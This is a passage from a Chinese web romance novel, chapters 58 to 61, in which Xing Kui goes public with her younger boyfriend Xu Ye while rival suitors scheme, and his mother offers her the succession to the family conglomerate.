【假戏真做了!!!】 “我公开了,厉乘川,日后我跟许野不会再避着你,你爱不爽不爽吧!” 说完,邢葵就把厉乘川和江玉鸣一齐轰出家门,嘭地关了门。 门外面,江玉鸣上扬嘴角:“老厉,碰了一鼻子灰哎。” 修罗场由他挑起,但他全身而退,许野负伤,厉乘川挨骂,想着由他促成的后果,江玉鸣突然感觉内心的气消了不少。 邢葵可没骂他,邢葵待他多特别。 邢葵不让他当五,肯定是他舔得还不够让她上瘾,等他回去在梦里练练。 “老厉,别瞪我啊,我就是看戏瘾犯了皮几句,我对邢葵绝对不感兴趣,苍天可鉴。”江玉鸣举手。 厉乘川冷戾地看着他,目光一层层逡巡,捏着拳头,骨节处因为刚才揍许野生着绯红。 “我现下谁都不信任。”他声音冰冷刺骨。 江玉鸣也不恼,艳丽地笑:“看来,你需要一段时间调节状态,搞搞清楚谁才是你真正的好兄弟。” 他偏过妖艳的脸,宛似随意打量阖上的大门,意味深长,“邢葵不让你进去,但让他俩单独在屋子里好吗?哎对,你们这建筑阳台是不是挨一起的啊?” 不错,左右邻居阳台和阳台间就隔了一道墙。厉乘川当即去开他的房门。 “你不会要翻阳台吧?我就随便一提,老厉,厉总,别啊!”江玉鸣喊着“别”,笑嘻嘻地跟上他。 好孩子,他又来啦! 屋内,邢葵搬出家庭医药 箱,心疼地给许野上药,一边心疼一边怒骂:“他太过分了,明天我就去找他道歉。” 许野愣住:“怎么还要跟他道歉?” “咳,他是房东嘛,人活在世需得伸缩自如!而且我感觉我也冲动了,说他说得怪重的。” 许野攥住她上药的手腕:“不重,他打我才重。” “也是也是,都出血了。”邢葵凑近看有没有止血,抬眸正好与许野四目相视,他剑眉星目,五官立体,似乎在吃一些莫须有的醋,深色的唇紧紧抿着。 邢葵昂头,快速亲了他一下。 “这样痛感会减轻吗?” 许野猝地揪紧大腿裤子,大脑空白,紧张得只能吐出短词:“不够,还要。” “可我不想给了耶。”邢葵弯起眼睛。 “别。”许野环住她的腰,害羞得小麦色的皮肤都变成深红色,“江哥说你们在这里亲过不止一次,我不想比他少,宝宝。” 邢葵随即脸热,小声:“怎么想起来这么叫我。” 许野不安:“我有个室友他这么喊他对象,我跟他学的,我喊错了吗?我没谈过恋爱,你跟我说,我改。” “随便你啦。”好像当今社会小情侣是流行这么称呼,邢葵虽然能在网上喊人宝宝,让她线下喊她是喊不出口的,“我不这么喊你哦。” “好。”许野全身紧绷绷的,大腿都渗出汗液,张动了几下唇,“那、那还亲吗?” 邢葵笑着看他,许野不好意思地低下头,她给出回复:“亲,不然带你回家后为什么让你刷牙。” 许野眼里泛起亮色,揽着邢葵的双臂收紧,邢葵仰颈覆上他的唇。 嘴角刚擦过药,她小心翼翼避开伤口,撬开许野也不要用力撬的牙关,今天一天许野又被宋弘宇凶又被厉乘川打,受了不少罪。 邢葵准许他享受甜蜜。 没接过吻的许野艰难地动喉咙,在她的主动中模仿式学习,碰到她软软的舌头,眼角都积聚出幸福的泪水。 贴在后腰的手缓慢上移,描摹脊椎骨曲线,阳台倏地传来声响,翻过阳台的厉乘川不敢相信所见:“你们在干什么!” 邢葵火速跃起,唇上湿润都来不及擦,厉乘川要开阳台玻璃门,她冲过去直接锁上门。 “邢葵!”厉乘川双拳砰地捶上玻璃门。 邢葵刺啦拉上窗帘:“看什么看!小情侣隐私,勿扰!” “邢葵!邢葵!”厉乘川仍然在敲。 邢葵已经走回原位,压低音量和许野吐槽:“你们都不觉得你们这位兄弟有点古怪吗?” 许野还沉浸在吻里,没法回答,捞过邢葵放腿上:“他不重要,继续。” 阳台上,江玉鸣拉住厉乘川,盯着遮掉一切的窗帘,如果他方才没看错的话,许野没换位置,就坐在他曾经亲吻邢葵的地方。 啊,是在挑衅他吧,那他得还回去啊。 “老厉,爬阳台已经不像话了,咱们别在这里失风度,年轻人没什么技术,说不定等他们做完邢葵连夜就要分手了。”江玉鸣露骨嘲讽。 “江玉鸣!我俩听得见!”屋内,邢葵停下和许野接吻,吼了一声,“快走!不然我要报警了!” 厉乘川面色黑沉沉的,往玻璃门跨了一步,既盼望能穿透窗帘看到屋内场景,又不想见:“邢葵,我走,但我希望你认真想清楚,许野不适合你,他太过年轻,连正当职业都没有。” 他精准攻击到许野的弱项。 邢葵竖着耳朵,确定江玉鸣和厉乘川走了,看向她坐着的大腿的主人:“别听他的,你才十九岁,有职业就怪了。” 许野抿抿唇,像在思考,之后道:“国家队早给我发过邀约,我会跟他们签约,以后我会是职业运动员,我不会输给任何人的。” 邢葵笑:“嗯嗯,但不要冲动做决定,你要考虑好。” 许野点头:“那我们间的年龄差距……我不介意,可总有人说,不知道……” “我也不介意!你放心,不就九岁吗?我家有户亲戚,夫妻相差十岁,也没人用异样眼光看他们呀。” 总觉许野大腿硌得慌,邢葵移了移,“好了,我外貌十分、品格十分、职业未来也会十分的男朋友,还亲不亲?” 许野红着脸点头,却没亲上来,神色纠结,就在邢葵想问时,他贴到她耳边:“江哥刚污蔑我没技术,宝宝,你能给我个机会证明一下吗?” 第59章 话说完,许野头都抬不起来,轮廓清晰的脸就这么靠在邢葵耳朵旁边,炙热的呼吸扑在她耳周肌肤,犹如气息在与皮肤缠绵。 假如江玉鸣人在此处,肠子都要悔青。 许野纯情,哪想得到这些,多亏江玉鸣“提醒”,邢葵羞涩,耳边是许野的吐息,身下是许野的大腿,腰后是许野的双臂,她无意识地抓住他肩头衣裳。 “可以啦,我们是男女朋友,那些……合情合理。”邢葵手指收紧,“只是会不会太快了?” “不快。”许野收拢手臂,抵在椅背的脊背绷直,眸色郑重,“我迟到很久了,我比周哥先认识你。” 他向后移,晕染赤潮的正脸对着邢葵,“你要嫌快我们能一步步试,我没经验,你能教我吗?” 没说的话是“他会好好学”,不用许野说明,邢葵从他专注的神情就瞧得出来。 她泄出笑,谈及这种事也害羞,垂眸脸红,感觉身体接触的地方每一块都滚烫如黑红岩浆,低低地“嗯”:“那你想从哪一步试?” “我没经验,你跟江哥是从哪一步开始的?” “接吻?”刚才亲了。 “然后呢?” 然后……邢葵回忆着回忆着,脸部充上血,仿佛泡过辣椒油,然后好像是……她看向许野的胸肌……吧? “我不好意思讲。”邢葵嗫嚅,耳冒热气,说不下去,但她停留在许野胸膛的视线让他明白了过来。 宽阔干燥的手圈住邢葵的手,许野拉着她的手穿过衣衫,置上她的目光汇聚处:“我的比江哥大,摸吧。” 手掌抵到她曾经近距离看过的肌肉,邢葵差点热晕,有位慷慨且有本钱慷慨的男朋友也太幸福了吧! “不过这样怎么体现我的技术?我需要叫吗?”许野耳廓通红一片,好学地问。 邢葵晕乎乎,快像烧开的水一般煮沸了:“别问了别问了,就顺其自然嘛,来,低头让我亲一下。” 两张唇缠在一起,二人都闭上眼睛,像刚满月在学习走路的幼兽,磕磕绊绊,努力前行。 邢葵的手臂攀上许野脖颈,许野的手按到她的后脑勺,两人拥吻,而就在他们身后的桌面,邢葵的手机上,从进入群聊后就没退的灰金椭圆镜头像,终于退出。 里约热内卢,周镜一只手按在手机,另一只手拿起旁边冷掉的咖啡,喝了一口,眼珠就跟咖啡的颜色一样黑。 喉结滚动,咽下咖啡,周镜手指在手机屏幕点按,随后拿起手机:“我们下错了棋。” “哟,大忙人有空跟我打电话,我没空哈,老厉逮着我要去打拳发泄呢。” 急行在马路上的黑色宾利车中,江玉鸣靠在后排椅背,在轻佻的言语中,暗示周镜厉乘川也在。 “他这会儿怒发冲冠,若是听到你的声音会开飞机过去揍你哦。”——言下之意是厉乘川听不见。 厉乘川只能听到江玉鸣的话,在开车的是厉家司机,厉乘川和江玉鸣一同坐在后排,正抱着手机看这些天他错过的邢葵账号内容,脸黑得如被墨水浇过。 闻言,他冰冷到要将人活活冻死的余光投来:“周镜?” 江玉鸣微笑:“嗯哼,是呢,他看见了邢葵发的官宣帖,找我问问情况。” “挂掉,不,你跟他仔仔细细讲。”要不痛快大家都别痛快。 厉乘川捏着手机,手背青筋暴突,邢葵在账号写下的一句句,衰减着空气中的氧气含量,他几近缺氧,气息粗重,眸如毫无星辰的夜幕。 邢葵用自媒体完整记录了她和许野坠进恋爱的经历,厉乘川当下无比后 悔,刚在水果店没买榴莲,在邢葵家好直接往许野头上砸。 他就这么被第二次偷了老婆。 周镜,好兄弟!许野,好兄弟! 江玉鸣唇角漾笑,靠椅子的姿态懒散,抬起一条长腿搭上另一条腿:“老厉当前应该很想甩你和许野各一巴掌。” 就你安全是吧? 周镜向他泼冷水:“我说棋下错了,许野没有一道扣分项,他或许是邢葵解决催婚问题的完美对象。” 别忘记,邢葵的诉求从一开始就是解决催婚,倘若许野能解决,那还有他们什么事儿? 江玉鸣挑挑眉,手指搭上椅子点点:“哪那么夸张,许野和邢葵的年龄差距不是一岁两岁,九岁,我不信邢葵家里人能接受。” 对,最开始周镜也考虑到了这一点,年轻让许野具备独一无二的优势:低于法定结婚年龄,天然止住催婚众口。 但年轻也会让许野陷进不可消除的劣势:他永远比邢葵小,年龄差距永不可能改变。 可是:“我刚刚听见,邢葵的亲戚中,有一对夫妻相差十岁,她的亲戚们没人对他们指指点点。” 有这样一道例子在先,邢葵和许野的年龄差也就不算什么了。 许野唯一的劣势也就没了。 江玉鸣眉梢微不可察地皱下,嘴角的笑意也差一点就僵住,许野如今还在上学,没工作,同样算得上劣势,但他们兄弟知根知底,能不清楚未来的许野会怎样吗? 他拥有极高的运动天赋,十几年获奖无数,许家他的奖杯奖牌多到四面墙壁放不下,未来他更预备闯一闯奥运大赛。 哪怕,许野在运动上未展光芒,他还是许家新一代唯一的孩子,他不是金诺言的继承人,只因他志不在此,一旦他点头,全球知名的金诺言等着他继承。 没有年龄上的劣势,许野将无懈可击。 江玉鸣有点笑不动了,他搭在椅子上的手垂下来,避着厉乘川用力拧了腿一把,用疼痛刺激他笑出来,越疼,眸子笑得越弯。 “听上去,只能等两年多后,许野达到法定结婚年龄,之后邢葵家里催婚,然后他们再分手了。” 看手机的厉乘川耳朵动了动,投来视线,催婚?等等,江玉鸣和周镜怎么知道? 他们什么时候知道的! 这又是什么时候在他不知情的情况下发生的! 江玉鸣眼睛笑成一条缝,毫不客气地推队友出来挡枪:“老厉,别瞧我啊,周镜说的,邢葵和他接触和分手都是因为催婚。” 什么!可是,他才是邢葵曾经选中的人! 江玉鸣换腿跷,是啊是啊,失忆前厉乘川是邢葵的选择,但失忆后,谁让在医院那会儿,厉乘川诬陷他不举的? 邢葵因此看中江玉鸣,又被江玉鸣引导看向周镜,再被周镜引向许野。层层递进,她没空、没机会、也没多余精力给厉乘川眼神。 何况他们几个还跟邢葵说过不止一次厉乘川坏话,导致邢葵半点都不想和厉乘川深交,嘻嘻。 厉乘川凝神望着江玉鸣:“你为什么之前不告诉我?” 江玉鸣浑不在意地耸耸肩:“我以为你了解呢,再说了,我这人没多少爱好,看看戏咋了。” 厉乘川:“……” “现在怎么办?”江玉鸣状似期待好戏般问,“周镜刚跟我说,许野很难被打败,你跟周镜难道要眼睁睁看着邢葵和许野谈两年多的恋爱吗?黏黏糊糊的恋爱哦。” 空气凝滞如又重又沉的铅,无论周镜、厉乘川,还是笑着问问题的江玉鸣,都给不出问题答案。 尤其周镜,他知道的还比另外两位多一点,前几天,邢葵跟他提过,最近她发的和许野假恋爱帖热度极高,甚至有MCN公司联系她。 她向周镜咨询了相关问题,虽然没说要和对方签约,但大力称赞了许野,夸他特别配合她拍素材等等,感谢他提供的帮助。 想必现如今在邢葵心里,许野足有一百分。 想击败许野,兴许只有他们拿到满分以外的附加分,又或者想尽办法让许野扣分。 “抢吧。”江玉鸣弯着唇开口,在厉乘川看过来时继续道,“不抢一无所有不是么?我支持你们哦。” 厉乘川:“们?” 江玉鸣:“哎呀,这不是周镜也听着。”邢葵生气的时刻重现在江玉鸣脑海,多说了一个语气词,气鼓鼓地说删掉,他唇边笑意更深,对着不知情的两人,享受地学着她,“等挂掉电话,我删掉‘们’。” 他在背后捣鬼的事,厉乘川还没意识到,目光在江玉鸣脸上打量。 江玉鸣为人散漫,行事随心,看上去毫不靠谱,但话说回来,厉乘川最信任的周镜是如何待他的? 那么听兄长话的许野又是如何背叛的?还不如江玉鸣,至少乐子在哪儿他立场就在哪儿,还是可控的。 厉乘川皱了皱眉,睫毛低垂,往眸上投下暗影,不会吧,莫非看着不靠谱的江玉鸣才是最靠谱的? 里约热内卢,周镜挂掉电话,起身到洗手台清洗餐具,沾着泡沫的手指擦着咖啡渍,从杯底上滑出,抿直的唇线也轻微上抬了下。 他在明,江玉鸣在暗,再好不过。 毕竟,厉乘川也在要被对付的情敌名单上。 泡沫浸满洗手池……浸满浴缸,桃子味沐浴露的味道将许野包裹,邢葵先洗完去睡觉了,他来用冷水降火。 没做到最后,邢葵脸红彤彤的,说他胸肌太大了,她有点晕胸肌,下次继续。 她说什么就是什么,许野垂眸看了看身体,默默进了浴室,箭在弦上,只是冲洗都不够,他需得泡几个小时。 双手搭上浴缸一左一右,许野后仰着脖颈,紧咬着唇肉,没有自我发泄,纯靠意志力强压,麦色的指尖按压着洁白缸壁,指尖都被压成白色。 好喜欢邢葵。 好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢…… 如果这时候她不是躺在床上,而是躺在他身上,他绝对无法忍住。 舌尖抵到上颚,他想到邢葵的唇舌。 好甜,甜到让他激动,如同往他嘴里打了一针肾上腺素。 好喜欢好喜欢好喜欢…… 好嫉妒好嫉妒好嫉妒……哥哥们比他更早尝到,明明他不是最晚认识邢葵的人。 今晚哥哥们的言行像一根根的针,刺向许野,可能是受伤的嘴角不小心沾到了沐浴露,他突然嘴角刺痛。 哥哥们挤兑他,想跟他抢,他不会让他们称心如意。 许野睁开深褐色的眼,伸手去取旁边手机,他有一个所有兄长都不了解的秘密,与他的家庭有关。 拇指滑动联系人页面,正在这时,有位联系人打来电话,备注显示:妈。 许野接起来:“喂,妈。” 电话那头许母沉着声音:“我亲爱的儿子,你干什么了,鼎天要建的度假村,餐饮本由我们提供,合作谈得好好的,厉家那边莫名其妙通知取消。” 哦,是厉哥出手了,看来他大动肝火,借此事先给他一点教训。 “我去问,得到一句,去问问你的好儿子,所以,我亲爱的儿子,你做什么触怒了厉家那位?” 空气中弥漫着水蜜桃的香气,许野呼了一下吸:“嗯,我抢了他的未婚妻。” 刹那间,手机那边的人被缄默的咒语击中。 许家,书房,女人靠在披红丝绒毯的真皮椅上,桌面放着度假村餐饮合作的草拟文件。 她的手指放在文件上方,与许野相似的小麦色,皮肤看得出年纪,有褶皱,不年轻,最少也四十岁,可也不松弛,平常大概率有在做保养或锻炼。 能感觉手的主人是一位生活精致考究的中年女性。 此刻,这位女性没有说话,除大拇指以外的手指抬起,思考般,轻叩价值过亿的文件,一下、两下、三下,一秒、两秒、三秒…… 第四下,第四秒,手指叩击停下。 许母张口:“好刺激!” 第60章 五月,天气越来越热,但又不至于热到人走两步就流汗,属于恰到好处的温暖。 京江大学附近的美食城烟火气缭绕,人头攒动,铲子铛铛几声切开包裹配菜的烤冷面,将它们铲进纸盒里。 “美女,好了。”摊主扎上两根竹签,邢葵接过烤冷面,说着“谢谢”。 转眼间,她和许野交往一周啦,约好下午一起吃龙虾,已经正 式加入国家田径队的许野去训练了,等他训练完就过来。 美食城香气扑鼻,邢葵抵达后被路边摊诱惑,先点了份烤冷面,坐到塑料板凳上吃。 特意让老板刷的甜酱,邢葵咀嚼着,笑靥与今天的风一样轻柔有温度。 虽说这是她的第二段恋爱,但较真算,这是她头一回正儿八经地和人恋爱。 很甜,许野表面凶凶的,内里憨憨的,稍微逗一下就脸红,两人间接吻常以到底谁的脸更红结束。 他还总送她礼物,邢葵有一日瞄见许野的搜索记录,全是“怎样让女朋友开心”、“情侣间如何相处能长久”、“男女朋友必做事件”等等,超有意思。 许野带来的不止如此,邢葵在电器城买到的柜机和赢到的音箱几日前送达老家,收到台阶的邢母当天就哒哒哒下了台阶,发过来消息。 【谢谢我家美女小姑娘,收到了,装好了(柜机&音箱照片)】 【(谢谢(文字)玫瑰花开(底图).gif)】 【最近身体恢复得咋样啊?腿还疼不?】 【在外面不要老省,多买点好吃的。】 【(转账:1000r)】 这就是妈妈,一有台阶连忙跑下,不超过三句就关心女儿身体。不是彻头彻尾的恶人,她要是,邢葵也不会受困于催婚,潇洒和家里脱离关系不就好了。 和邢母破了冰,邢葵试探地说出,她交了新男友。 邢母激动万分,邢葵又小心地表示,男友比她小,还在读书。 【这有什么,重要的是你喜欢,我这周能去京江看你啊?】 邢葵嘴角上扬弧度,她就知道,她有个亲戚相差十岁都行,她和许野差距还没到十岁呢。 如此一来,许野貌似成了目前催婚问题的最优解,直到他二十二岁前,邢葵都能喘息——和周镜一样,邢葵也意识到这一点。 不过她没同意邢母来见许野,才谈没几天,有和周镜那段的失败在前,她心里多少没底,让她和许野再准备准备吧。 是让她和许野准备,可不是让江玉鸣他们捣乱哦!几个男人一个个的,见不得她跟许野好,三天两头搞事,邢葵现在听到敲门声都不去开门了,反正打开不是厉乘川就是江玉鸣。 她网购了小黑板挂在门外,写上“只有邢许可进”,第二天早上醒来小黑板不翼而飞。 邢葵叉着腰站在家门口,看着空荡荡的门,呵,没想到吧,两件九折,她还有一块。 挂上第二块小黑板,写上“偷我小黑板的注孤身!!!”,第二天早早起床去看,好家伙,再度失踪。 打开手机看到江玉鸣发的消息:【厉乘川请骑手干的哦。】 这样就不算他偷的了是吧? 四月末交房租,房租三千六的邢葵转账厉乘川3584.61元并备注:【您好,两块黑板15.39。】 厉乘川回了个“嗯”字,明白明白,总裁不介意这点小钱,就是单纯介意兄弟恋爱。 总而言之,一周时间,就这般在甜蜜、有趣中过去,美食城吵吵嚷嚷的街边,邢葵对烤冷面很满意,对充满奇妙历险的人生也很满意。 或许,许野真能带给她两年多的自由。 没有意外的话。 一辆赤红色的汽车从邢葵眼前行过,邢葵吃着最后一口烤冷面看向车尾,通常而言,车辆在外行驶难免碰到水潭、下雨天等情况,不及时清理,车尾处都会有些脏,这辆车却光洁得能反光。 看表面就像豪车,邢葵瞄了眼车停下的位置,是一家店铺,店铺外面挂着“一绝龙虾”的牌子,是她和许野约好要去吃的店。 五月份龙虾季,许野室友程强和他女友来这家店吃过,说特别不错,龙虾壳薄肉扎实,看来真不错,都吸引来了一位女富豪。 驾驶位车门打开,司机匆匆走到车后排,犹如恭迎女王降临般,将车主请出,女人介于四十到五十岁之间,穿着一条亚麻色长裙,外披红色纽扣的黑西装。 不瘦也不胖,小麦色皮肤,五官锐利,目光如炬,一瞧就精神勃勃,不怒自威,感觉一个眼神就能让人下跪。 邢葵:“……”不知道为什么,这人让她想起许野耶。 可能是肤色相似吧,龙虾店的老板和员工齐齐出来站在门口,请女人迈进,邢葵也撑着腿站起来,饭点已到,她得进店领个号码牌,以防要排队。 走到店门口,店内场景映进眼帘,别管双人座、四人座、十人座,通通空位,与店员黑溜溜写满惊慌的眼神对上,她要跨过门槛的脚紧急回收,扭头就走。 太尴尬了,富豪女士包场嘞,差点闯进别人的SVIP龙虾宴,哎?富豪的司机干嘛拦她? “邢小姐,请您进去。” 她上次被人称作“您”还是找某宝售后客服的时候,邢葵小腿肌肉绷了绷,猜到什么,看了眼打工人司机,不想她为难,转过身。 在一众注视中走进龙虾店,收银台上方贴着宣传图,一盆盆龙虾,被烧得鲜红诱人,也被烧得魂归九泉。 “谢小姐。”邢葵不知该如何称呼许野的母亲。 听许野提过几句,说她姓谢,为人和蔼。 对此,邢葵持保留意见。毕竟,她从小看过的小说和电视剧里,有钱人家的长辈角色多是人面兽心,大方些的,会在背地里给灰姑娘撒钱,阴毒些的,直接陷害挑拨离间。 她希望许野妈妈是前者。天杀的,刚还在想没意外的话许野就是最佳人选,不会意外就这么降临了吧。 谢成雯坐在一张四人桌旁,听她喊了一声“谢小姐”,眉梢小幅度地挑起:“叫——”她稍微停顿,“叫伯母,过来坐。” 邢葵坐下。 “知道我们家什么背景吧?” 邢葵想到许野的金诺言帽子,想到许野送的金诺言蛋糕和奶茶,许家有可能是金诺言的大股东。 “金诺言是我们家产业。” 许家是千亿公司的主人!邢葵深呼吸,因为有一定猜测,不算惊骇,她听许野讲过一些母亲,谢成雯在许父意外身亡后以异姓女流之身撑起许家,那么谢成雯是……金诺言的董事长。 这位掌管千亿资产的女士若有似无观察着她的表情,随即动唇:“以前不清楚,现在清楚了,那么……” 邢葵下意识看向她的衣服口袋,接下来该“给你xx万,离开我儿子”了吧,谢成雯没带包,支票会不会藏口袋里了呀? 她想想哦,五百万?这个金额她自己也能挣到,不值得为了五百万放弃许野。 谢成雯犀利的目光锁着她,“你想好要继承金诺言了吗?” 你想好,要继承金诺言了吗? “啊?啊???”邢葵猛地从座位跃起来,双手按着桌面,不敢置信地看着谢成雯,“您说什么?” “怎么?我儿子还没跟你讲?他要跑步,我们家当然由我儿媳妇继承啊。” 谢成雯往后坐,有皱纹却锐利无比的双眼打量她,“自然也不是他谈谁我就要将家业交给谁,过去一周,我已经查过你。 从幼儿园到大学,除高中有半学期成绩下滑,此外每学期都成绩优异,京江大毕业,工商管理和新闻双学位,证书无数。 毕业后进入鼎天集团旗下子公司,五年间多次晋升,年薪三十多万,并且从今年起,将改签合同,增加提成制,日后你的年薪至少多一个零。” 邢葵按在桌面的指尖一缩,重新坐下:“谢伯母,连这个都查到了。” 这件事,她没跟任何人讲过。 哪怕是在那场充满羞辱的相亲宴上,她也不曾提。 “非常了不起。”谢成雯称赞,“以你平庸的出身和不高的学历,能做到这一步。 而在车祸后,你大脑受伤,开始做自媒体,仅用了一个多月便小有名气。这些,都足以证明你的能力。 坦白说,假如你出生在像我们一样的家庭,你会发展得更好,现在在你面前就有一个机会,继承金诺言。” 邢葵五指收成拳,“人”,都是一撇一捺,却因为出身 有了高高低低,谢成雯的提议是疯狂的,于她是一个疯狂的改变阶级的机会。 “天下没有白吃的午餐。”邢葵盯着她,“如你所说,我伤到了脑子,如今的我,不及车祸前,并且我缺少管理公司经验,你完全可以找更适合的人选,为什么是我?” 谢成雯挑眉颔首:“嗯,你还挺谦虚,很少有人能超过你了,而且谁让我儿子喜欢你呢,金诺言姓许,董事会那群老古董期望它未来也姓许。 所以,以后你得为许野生个儿子,并将金诺言转交给他,但是!”她冲邢葵眨了下一只眼,“生娃娃又不是想生就能生的,一年两年十年,对吧,等那群老头子死后再生也行啊。” 懂了,可以拖着不生。 价值一千亿的金诺言继承人宝座…… “还犹豫?没经验不要紧,我会安排人教你,你这个年纪正是闯荡的好时候。” 邢葵怔了怔,她还是第一次在长辈嘴里听见这样的话,她的长辈都说她不小了、再不结婚就没人要她了…… 她不由自主注视着谢成雯,“成雯”二字出自一句古诗,意指“成为斑斓美丽的云彩”,她的家境八成不错,她八成读过多年书,因而和她的家人不同。 “我需要考虑考虑。”邢葵说道,一千亿,极具诱惑,不过,那要她跟许野结婚、过一辈子。 一辈子吗? 急促的跑步声,一道身影穿过龙虾店玻璃门,许野冲进来:“妈,我不是强调了,我要先问问她。” 他跑到邢葵身边,捧住她的脸左瞧右看,“没受伤吧,我不知道我妈会趁我训练来找你。” “喂喂喂,我亲爱的儿子,你把你妈我当什么人?”谢成雯拍了几下桌面,“我等你问问到猴年马月,我急着退休环球旅行呢!” 许野手忙脚乱,应是收到消息匆匆跑来的,满头大汗,谢成雯看得啧啧摇头,“反正我都跟她讲完咯,她说她要考虑考虑,葵啊,别考虑太久,就今晚给我答复吧。” 邢葵:“今晚也……” 谢成雯:“那最迟这个月。” 邢葵:“那也……” 谢成雯:“那你想要多晚?” “妈!我跟她才谈了一周,怎么能逼她决定一辈子!”许野制止母亲,“你慢慢想,我们会有很多时间。” 有什么时间啊,谢成雯瞅了眼小情侣,她已经得知邢葵失忆,她儿子是从厉家那位眼皮子底下偷的人。 依她看,赶紧去民政局领证把事定了,省得夜长梦多,她可不想到手的儿媳妇兼继承者丢了。 “十月份……可以吗?”细小的声音穿进母子二人的对话,邢葵踌躇张口,“我,从来就没想过要真正结婚,而且继承金诺言这件事,太大了,我必须得好好想想,等我到十月好吗?” 摆在邢葵面前的并不止一个选项。 一,她原有的工作,已经熬出了头,未来能稳定年薪三百万加。 二,放弃解决催婚初衷,结婚、学习管理,继承金诺言。 三,自媒体,有MCN公司联系她,如果她发展顺利,上限极高。 一个小时后,谢成雯车上,谢成雯闭着眼睛,回忆着蒜香小龙虾的美味。 似自言自语,又似在问司机:“每年三百万、一下一千亿和不确定,你说你会选哪个?” 司机望了眼后视镜,迟疑地道:“一千亿有风险不?” 谢成雯弯唇:“有啊,管理决策要是失误,一千亿可能一夜间,嘭地蒸发。” 司机:“那我不管理,一千亿套现行不?” 谢成雯笑,后颈抵到椅子边缘,颈后发丝中穿插几缕白发,喃喃:“她不是个不负责任的人,全球十几万员工等着吃饭,我想她这会儿压力很大啊。” 对了!谢成雯坐正,刚饭桌上,儿媳妇说她还有个苦恼,当初车祸,公司给了她三个月的假,这个月底就到期了。 医生建议她三到六个月内去治疗额头疤痕,要去治疤假却没了,谢成雯按手机,打电话。 “喂,厉总,给我儿媳妇加几个月假。” 话音未落,电话被挂断。 谢成雯望着屏幕,过了一秒捂唇笑:“是气得不轻,真刺激真刺激。” 邢葵家中,邢葵放下手机,皱着眉转身:“公司刚联系我说,我今年都不用来上班了,还是带薪假?” 说什么,他们了解到疤痕治疗需得多次、疤痕激光后需得避光……然后饱含人文关怀地延长了她的假期。 “是不是你妈去讲的呀?” “可能吧。”许野刚洗完澡,头发还有水珠,他用毛巾擦着,垂落的毛巾将他的神情半遮半掩。 他妈应该去讲了,可,应该不是他妈的功劳。 谢成雯调查邢葵时,也给许野看过了她的资料,邢葵在失忆前,是厉乘川的得力干将。 谢成雯说,邢葵将厉乘川忘却后,大脑大约对缺损的记忆进行了合理化加工,所以她不会意识到问题。 果然,邢葵歪歪头就笑开:“谢伯母真有能耐。” 许野擦着湿发,毛巾近乎盖住脸:“嗯。” “怎么啦?有心事?”邢葵的脸进入毛巾遮挡范围,鼻尖快碰到他的鼻尖,惹得他睫毛颤动,她甜甜地笑,伸手按住毛巾替他擦头,“我一百分的男朋友,不该有心事呀。” “有的。”许野耳廓烧起一层红,动来动去的毛巾在他脸上投下起伏的阴影,“为什么,是十月?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 为什么,是十月? 邢葵微停替许野擦头发的动作,又继续擦拭,擦掉下滴的水,拉着许野让他坐下,在他身后拿起吹风机,调到热风最小档。 风轻柔地吹着,她也轻柔地道:“你知道的,我一直想摆脱催婚。” 大学毕业后,长辈见到她的话题,永远都离不开此,伴随年龄增长,催婚话语中逐渐加入对她的贬低,仿佛她前面几十年的优秀,因为不结婚就一文不值。 她真的,不想再过那样的日子。 “起初我计划,找个人假结婚,过个一年两年离婚,只要我有这段离异经历,外人看我就是负分,自然就很少再有人催我结婚。 但实在是,很难遇到一位值得信任的假结婚对象。 后来我与周律师恋爱,想着,当我有了对象,长辈会觉得我的另一半有了着落,理论上也不会再催得特别紧。 然而,周律师太适合结婚,我家长当晚就考虑起带孩子。 之后周律师向我推荐你,你的年龄小于法定结婚年龄两岁多,我家长再如何想办婚宴,都必须得憋两年多,毕竟不能违法是不是?” 邢葵笑了笑,一路走来,方法换了多次,她的初心始终如一,“至于两年多后,他们开启催婚模式,到时候再说嘛,走一步算一步,也许就在这两年里面我能找到新办法。 关于催婚我是这么设想的。催婚也不是我人生的全部,我最近同样在规划我未来的事业。我的账号在网络越来越火,不止一家MCN问我有没有意向签约。 原本我有挺不错的工作,可是许野,我不确定我能做好那份工作了。” 许野愣了愣,侧过脸看她,耳朵因为热风泛红。 邢葵关掉吹风机,放到桌面,俯身套住他的耳朵,“悄悄告诉你一件事,讨人厌的汽车好像撞得我记忆力变差了,我记不清我从前的工作内容了。” 许野倏地攥紧拳头,邢葵并不是半点都没觉察到问题,只是以为是记忆力衰退。 又或许真是记忆力衰退,那种级别的撞击,对大脑的伤害难以测量。 “我记得我进公司、升职,记得抢我功劳的领导,也记得一些同事,可有些人有脸我想不起来名字,有些人我记得名字想不起来脸。”邢葵尽量平稳地说着,可实际她有点难过,声音低低的。 “我努力了很久才得到的位置,可是现在让我坐在那个位置,我大概会迷茫无助。” 这对一个拼搏多年终于要改变命运的人是多大的打击啊。 许野的手臂穿过她的腰,坐着抱住她,手落到她后背轻抚,无声地安慰着。 这些话邢葵深藏心底,从未对任何人袒露过,世人说,99%的努力加1%的天赋就能成功,可老天爷跟邢葵开了个大玩笑。 “所以许野,我之前在纠结,是要继续我原来的工作,还是和MCN签约,原来的工作,新合同还没签,并且我要是干不好,公司开掉我,我也要和三百万年薪说拜拜。 干自媒体有不少不可 控因素,但干它的时候我能不去想我脑子出了问题,它的上限也远超三百万,我倾向于选它。然而,你又向我提供了第三个选项。 一千亿,继承金诺言。” 一千亿是何等概念,年薪三百万,她要工作三万三千三百……算了,不做这个令人伤心的计算,况且金诺言价值不止一千亿。 “我不得不承认,这极有诱惑力,当然天大的馅饼掉到我头上我也得吃得下,这项选择要求我学习很多东西,要求我成长到有对十多万名员工负责的本事。 以及,它也要求我跟你结婚,短期内我无法做出这个决定,我必须诚实地讲,我们才谈了一周,我没有要我的未来一辈子有你的想法。这项选择使我混乱。” 许野看着她。 邢葵忽地笑开,“但是啊,鉴于你的年龄,结婚一定得在两年多以后。 也就是说,我人生职业规划的第三个选项,和我当前解决催婚目标的节点,都在两年多以后,时间有可能带来变数,我何必要现在庸人自扰呢? 你问我为什么是十月份给谢伯母答复,因为我决定先按照我的初心走,先去确定跟你恋爱是不是能让我拥有两年多的自由。 假如能,我会在这两年多里跟随谢伯母学习,等你到了法定结婚岁数,如果我也准备好了,那我们试试未来都在一起吧,许野。” 许野心脏骤跳:“你还是没说为什么是十月份,是要十月份去确定吗?” 